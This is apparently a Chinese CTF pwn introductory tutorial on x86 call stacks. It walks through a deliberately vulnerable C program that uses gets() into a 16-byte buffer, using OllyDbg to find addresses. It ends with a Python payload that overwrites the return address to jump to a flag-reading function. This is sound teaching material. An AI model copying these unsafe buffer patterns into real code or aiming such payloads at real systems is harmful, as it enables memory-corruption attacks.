函数的调用过程:如果 A() 调用 B(),A() 先将 B() 的参数逆序压栈,然后将调用完 B() 后的下一条指令的地址 EIP 压栈。进入 B() 后,B() 先将 A() 的栈底 EBP 压栈,然后建立自己的栈。B() 结束后,可将 A() 的 EBP 弹出,恢复 A() 的栈底,然后弹出 A() 的下一条指令地址 EIP,A() 得以继续执行。
OllyDbg 用法:
比赛中不会给出源码:
#include
#include
int stack_over_flow()
{
char Password[16] = { 0, };
gets(Password);
return 0;
}
void readfile()
{
FILE* fp;
char FileStr[20] = { 0, };
printf("You've got the flag:\n");
if (fp = fopen("flag.txt", "r"))
{
fgets(FileStr, 48, fp);
printf("%s\n", FileStr);
fclose(fp);
}
else
printf("File error!\n");
exit(0);
}
int main()
{
printf("Welcome!\n");
printf("Please input your password(within 8 characters):\n");
stack_over_flow();
printf("Good Bye!\n");
return 0;
}
漏洞在函数 stack_over_flow()的 gets()函数中,缓冲区只有 16 个字节,如果输入长度大于 16,将覆盖很多重要数据包括 stack_over_flow()函数的返回地址(需要学习栈相关内容)。远程服务器运行的例程的目录下有一个 flag.txt 文件,存放 flag,而程序中已经写好了读取的代码 readfile()但并没有被调用。我们通过缓冲区溢出覆盖到 stack_over_flow()函数的返回地址,让其返回到 readfile()就可以拿到 flag。
先用 IDA 按 F5 查看反编译。
用 OllyDBG 打开编译后的 c.exe:
F7 进入 CALL c.00401014
F8 继续
进入到 main() ,入口地址是 0x00401180
F8 一直到达 CALL c.0x0040100A 行后,F7 进入
双击 JMP c.readfile,查看 readfile() 的入口地址为:0x004010A0
继续 F8
进入到 stack_over_flow() ,入口地址是 0x00401040
F8 到 CALL c.gets,输入 8 个 ‘A’(16 进制为 0x41),栈为:
20 个字节中:
以下 16 字节为栈空间:
41414141
41414141
00000000
00000000
0019FF40 为之前保存的 ebp
004011B7 为函数的返回地址
可以输入 20 个 A,然后用 readfile() 的入口地址覆盖返回地址 004011B7,这样当程序返回时就从栈中取出 readfile() 的入口地址作为 EIP 寄存器的内容,于是程序跳到了 EIP 处,读取文件显示 flag。
找到 readfile() ,其入口地址,是 0x004010A0
可借助 Python 输出重定向输入一些不能从键盘打印出的字符:
python -c "print 'A'*20+'\xA0'+'\x10'+'\x40'+'\x00'" | C:\Users\yjp\Desktop\c\Debug\c.exe
由于没有写 flag.txt,所以会出现 File error!
参考
天枢 CTF-PWN 入门指导与学习路线
浅析函数调用栈 https://www.cnblogs.com/damumu/p/7320418.html